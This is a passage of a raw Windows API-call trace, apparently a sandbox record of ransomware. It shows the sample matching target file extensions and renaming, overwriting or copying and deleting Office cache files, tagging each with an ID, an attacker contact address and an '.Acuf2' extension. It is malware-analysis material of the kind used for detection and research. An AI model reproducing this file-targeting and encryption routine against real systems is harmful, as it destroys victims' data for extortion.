	[0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.913] lstrlenW (lpString=".zip") returned 4
	[0050.913] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0050.913] lstrlenW (lpString=".rar") returned 4
	[0050.913] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0050.913] lstrlenW (lpString=".bz2") returned 4
	[0050.913] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0050.913] lstrlenW (lpString=".7z") returned 3
	[0050.913] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0050.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.913] lstrlenW (lpString=".dbf") returned 4
	[0050.913] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0050.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.914] lstrlenW (lpString=".1cd") returned 4
	[0050.914] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0050.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74
	[0050.914] lstrlenW (lpString=".jpg") returned 4
	[0050.914] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0050.914] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0050.914] lstrlenW (lpString="Office32WW.msi") returned 14
	[0050.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.947] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=1992192) returned 1
	[0050.947] CloseHandle (hObject=0x1a4) returned 1
	[0050.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020
	[0050.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.947] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0050.948] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.948] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0050.948] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.948] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.951] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.951] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.955] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0050.955] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.955] ReadFile (in: hFile=0x1a4, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.969] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.970] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0051.332] SetEndOfFile (hFile=0x1a4) returned 1
	[0051.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f637d8
	[0051.337] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.337] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.338] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.338] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.340] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.340] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f637d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f637d8*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f637d8 | out: hHeap=0x4f0000) returned 1
	[0051.343] CloseHandle (hObject=0x1a4) returned 1
	[0051.343] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.343] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.343] lstrlenW (lpString=".doc") returned 4
	[0051.343] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0051.343] lstrlenW (lpString=".docx") returned 5
	[0051.343] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0051.343] lstrlenW (lpString=".pdf") returned 4
	[0051.343] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0051.344] lstrlenW (lpString=".xls") returned 4
	[0051.344] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0051.344] lstrlenW (lpString=".xlsx") returned 5
	[0051.344] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0051.344] lstrlenW (lpString=".ppt") returned 4
	[0051.344] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.344] lstrlenW (lpString=".zip") returned 4
	[0051.344] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0051.344] lstrlenW (lpString=".rar") returned 4
	[0051.344] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0051.344] lstrlenW (lpString=".bz2") returned 4
	[0051.344] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0051.344] lstrlenW (lpString=".7z") returned 3
	[0051.344] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.344] lstrlenW (lpString=".dbf") returned 4
	[0051.344] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.344] lstrlenW (lpString=".1cd") returned 4
	[0051.344] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.344] lstrlenW (lpString=".jpg") returned 4
	[0051.344] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.344] lstrlenW (lpString=".doc") returned 4
	[0051.344] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0051.345] lstrlenW (lpString=".docx") returned 5
	[0051.345] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0051.345] lstrlenW (lpString=".pdf") returned 4
	[0051.345] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0051.345] lstrlenW (lpString=".xls") returned 4
	[0051.345] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0051.345] lstrlenW (lpString=".xlsx") returned 5
	[0051.345] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0051.345] lstrlenW (lpString=".ppt") returned 4
	[0051.345] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0051.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.345] lstrlenW (lpString=".zip") returned 4
	[0051.345] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0051.345] lstrlenW (lpString=".rar") returned 4
	[0051.345] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0051.345] lstrlenW (lpString=".bz2") returned 4
	[0051.345] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0051.345] lstrlenW (lpString=".7z") returned 3
	[0051.345] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0051.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.345] lstrlenW (lpString=".dbf") returned 4
	[0051.345] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0051.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.345] lstrlenW (lpString=".1cd") returned 4
	[0051.345] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0051.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77
	[0051.345] lstrlenW (lpString=".jpg") returned 4
	[0051.346] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0051.346] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0051.346] lstrlenW (lpString="PidGenX.dll") returned 11
	[0051.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208
	[0053.030] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=1463568) returned 1
	[0053.030] CloseHandle (hObject=0x208) returned 1
	[0053.030] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020
	[0053.030] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.312] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0053.313] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.313] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.313] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0054.683] GetLastError () returned 0x0
	[0054.683] ReadFile (in: hFile=0x184, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0xffff0, lpOverlapped=0x0) returned 1
	[0054.710] WriteFile (in: hFile=0x204, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xffff0, lpOverlapped=0x0) returned 1
	[0055.018] ReadFile (in: hFile=0x184, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x65520, lpOverlapped=0x0) returned 1
	[0055.032] WriteFile (in: hFile=0x204, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0x65530, lpOverlapped=0x0) returned 1
	[0055.046] ReadFile (in: hFile=0x184, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0055.046] WriteFile (in: hFile=0x204, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xea, lpOverlapped=0x0) returned 1
	[0055.046] SetEndOfFile (hFile=0x204) returned 1
	[0055.046] CloseHandle (hObject=0x204) returned 1
	[0055.046] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.046] SetEndOfFile (hFile=0x184) returned 1
	[0055.050] CloseHandle (hObject=0x184) returned 1
	[0055.050] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0055.050] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1
	[0055.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.324] lstrlenW (lpString=".doc") returned 4
	[0055.324] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.324] lstrlenW (lpString=".docx") returned 5
	[0055.324] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0055.325] lstrlenW (lpString=".pdf") returned 4
	[0055.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.326] lstrlenW (lpString=".xls") returned 4
	[0055.327] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.327] lstrlenW (lpString=".xlsx") returned 5
	[0055.327] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0055.327] lstrlenW (lpString=".ppt") returned 4
	[0055.327] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.329] lstrlenW (lpString=".zip") returned 4
	[0055.329] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.330] lstrlenW (lpString=".rar") returned 4
	[0055.331] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.332] lstrlenW (lpString=".bz2") returned 4
	[0055.333] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.333] lstrlenW (lpString=".7z") returned 3
	[0055.333] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.333] lstrlenW (lpString=".dbf") returned 4
	[0055.333] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.333] lstrlenW (lpString=".1cd") returned 4
	[0055.333] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.333] lstrlenW (lpString=".jpg") returned 4
	[0055.333] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.333] lstrlenW (lpString=".doc") returned 4
	[0055.334] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.334] lstrlenW (lpString=".docx") returned 5
	[0055.334] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0055.334] lstrlenW (lpString=".pdf") returned 4
	[0055.334] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.334] lstrlenW (lpString=".xls") returned 4
	[0055.334] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.334] lstrlenW (lpString=".xlsx") returned 5
	[0055.334] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0055.334] lstrlenW (lpString=".ppt") returned 4
	[0055.334] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.334] lstrlenW (lpString=".zip") returned 4
	[0055.334] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.334] lstrlenW (lpString=".rar") returned 4
	[0055.334] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.334] lstrlenW (lpString=".bz2") returned 4
	[0055.334] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.334] lstrlenW (lpString=".7z") returned 3
	[0055.334] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.334] lstrlenW (lpString=".dbf") returned 4
	[0055.334] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.334] lstrlenW (lpString=".1cd") returned 4
	[0055.334] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74
	[0055.334] lstrlenW (lpString=".jpg") returned 4
	[0055.334] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.335] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0055.335] lstrlenW (lpString="osetup.dll") returned 10
	[0055.335] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0055.887] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=7378792) returned 1
	[0055.887] CloseHandle (hObject=0x1c0) returned 1
	[0055.887] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020
	[0055.887] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0055.887] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0055.887] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0055.887] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0055.888] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.888] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.891] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.892] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.898] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0055.898] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0055.898] ReadFile (in: hFile=0x1c0, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0055.922] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0055.922] WriteFile (in: hFile=0x1c0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0056.040] SetEndOfFile (hFile=0x1c0) returned 1
	[0057.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fb3008
